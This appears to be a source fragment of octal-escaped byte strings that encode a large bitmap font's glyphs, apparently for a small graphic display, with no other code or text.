"\300\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376~\77\37\17\17\7\7\7\7\3\7\7\7\7\17\17\37\77\376\376" "\374x \0\200\374\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340" "\340\340\340\0\17\177\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\377\377" "\377\377\377\0\0\0\3\17\37\77\177\377\374\370\360\340\300\300\300\200\200\200\200\200\200\300\300\300\340\340\377\377" "\377\377\177\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0@\340\360\370\360\340\300\300\200\200\200\200\200\300\300\340\370\377\377\377\177\37\3\0\0\0\0" "\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300" "\300@\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374~\77\37\17\7\3" "\0\0\0\0\0\377\377\377\377\377\0\0\0\200\300\340\360\370\374\177\77\37\17\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\370~\77\37\37\177\377\377\371\360\340\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\3\7\37\77\377\377\374\370\360\300\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\77\177\377\376\374\370\340" "\300\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7" "\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\300\300\300\0\0\377\377\377\377\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377" "\377\377\377\0\0\377\377\377\377\377\3\17\77\377\377\374\360\300\0\0\0\0\200\340\370\376\377\77\17\3\377\377" "\377\377\377\0\0\377\377\377\377\377\0\0\0\0\3\17\77\377\377\370\370\376\377\77\17\3\0\0\0\0\377\377" "\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\3\7\7\3\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\0\377\377\377\377\377\377\377\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\3\17\37\177\377\376\370\340\200\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\374\370\340\200\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\37\177\377\377\377\377" "\377\377\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\200\300\360\370\374\376\177\77\37\17\7\7\7\7\7\7\7\7\17\17\37\177\376\376\374\370" "\340\300\0\0\300\374\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377" "\377\377\376\340\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\377\377\7\177\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\374\377" "\377\377\377\37\0\0\3\17\37\77\377\377\374\370\340\340\300\300\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\7\7\7\7\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\377" "\377\177\0\0\0\0\377\377\377\377\377xxxxxxxxxx||||~>\77\37\37\17\7" "\1\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\200\300\360\370\374\376\177\77\37\17\7\7\7\7\7\7\7\7\17\37\37\177\376\376\374\370" "\340\300\0\0\300\374\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377" "\377\377\376\340\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377" "\377\377\377\377\17\377\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\376\377" "\377\377\377\37\0\0\7\37\77\177\377\376\370\360\340\300\200\200\200\200\0\200\200\200\300\300\340\370\374\377\377\177" "\37\7\1\0\0\0\0\0\0\0\0\1\3\7\7\7\17\17\377\377\377\377\217\17\7\7\7\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\37\37>>><>>>>" ">>\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\7\7\7\7\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\377\377\377" "\377\177\0\0\0\0\377\377\377\377\377xxxxxxxxx\370\374\374\374\374~>\77\37\37\17\7" "\1\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\374\360\340\200\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\370" "\340\200\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\177\37\17\17\7\7\7\7\3\7\7\7\7\17\17\37\77~\376<" "\30\0\0\0\0\0\0\37\177\377\377\377\374\360\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\17\37\37\37>>|||\370\370\360\360\340\340\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\377\377" "\377\376\370\0\0\0p\374\376\374\370\360\340\300\300\300\200\200\200\200\200\200\200\200\300\300\340\360\370\376\377\377" "\177\37\7\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\17\7\7\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\0\3\3\3\3\3\3\3\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3" "\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\3\17\77\177\377\377\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\370\377\377\177\77" "\37\3\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\300\1\17\177\377\377\377\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377" "\377\77\7\0\0\0\0\3\37\377\377\377\376\360\200\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\77\17" "\1\0\0\0\0\0\0\0\0\0\7\77\377\377\377\374\340\0\0\0\0\0\0\300\370\377\377\177\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377\377\370\300\200\360\376\377\377\37\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\377\377\77\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\300\300\300\300\377\377\377\377\360\0\0\0\0\0\0\0\0\0\340\376\376\370\300\0\0\0\0\0\0\0\0\340" "\377\377\377\37\0\177\377\377\377\374\0\0\0\0\0\0\340\376\377\177\377\377\377\374\300\0\0\0\0\0\360\377" "\377\377\17\0\0\0\37\377\377\377\376\200\0\0\360\377\377\77\7\0\0\17\377\377\377\374\340\0\0\360\377\377" "\377\3\0\0\0\0\0\7\377\377\377\377\360\377\377\77\3\0\0\0\0\0\0\7\177\377\377\376\370\377\377\177" "\0\0\0\0\0\0\0\0\1\177\377\377\377\77\3\0\0\0\0\0\0\0\0\0\0\7\177\377\377\377\37\0" "\0\0\0\0\0\0\0\0\0\0\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300" "\300@\0\0\0\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\7" "\1\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377\376\370\340\200\340\360\374\377\377\77\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\203\357\377\377\377\377\377\377\303\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\7\1\7\37\77\377\377\376\370\340\200\0\0\0" "\0\0\0\0\0\0\200\340\360\374\377\377\177\37\7\1\0\0\0\0\0\0\0\0\3\17\77\177\377\376\374\360" "\300\0\0\0\0\6\7\7\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300@\0\0\3\17\77\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\77" "\7\1\0\0\0\0\0\0\0\3\17\77\377\377\376\370\340\200\0\0\0\0\300\360\374\377\377\77\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\370\374\377\377\177\37\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\303\343\373\377\377\177\77" "\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\340\370\374\377\377\377\237\207\203\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\300\300\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374<<<<<<<<<<<<<<<<" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0 \360\360\370\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\17\77\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\7\37\177\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\376\370\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\177\377\377\374\360\300\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77\37\36" "\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0<<<<<<<<<<<<<<<<\374\374\374\374\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\77\177\377\376\370\340\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\370\374\377\77\37\7\1\0\0\0\1\7\17\77\377\376\370\340\200\0\0" "\0\0\0\0\0\0\0\0\1\1\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\340\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\376\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\177\377\377\376\370\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77\177\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\300\340\360xx<<<<<||\374\374\370\370\360\340\300\200" "\0\0\0\0\0\0\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\77\377\377\377" "\376\360\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\177\370\340\340\300\200\200\200\200\200\200\300\300\340\340\360\374\377\377\177\37" 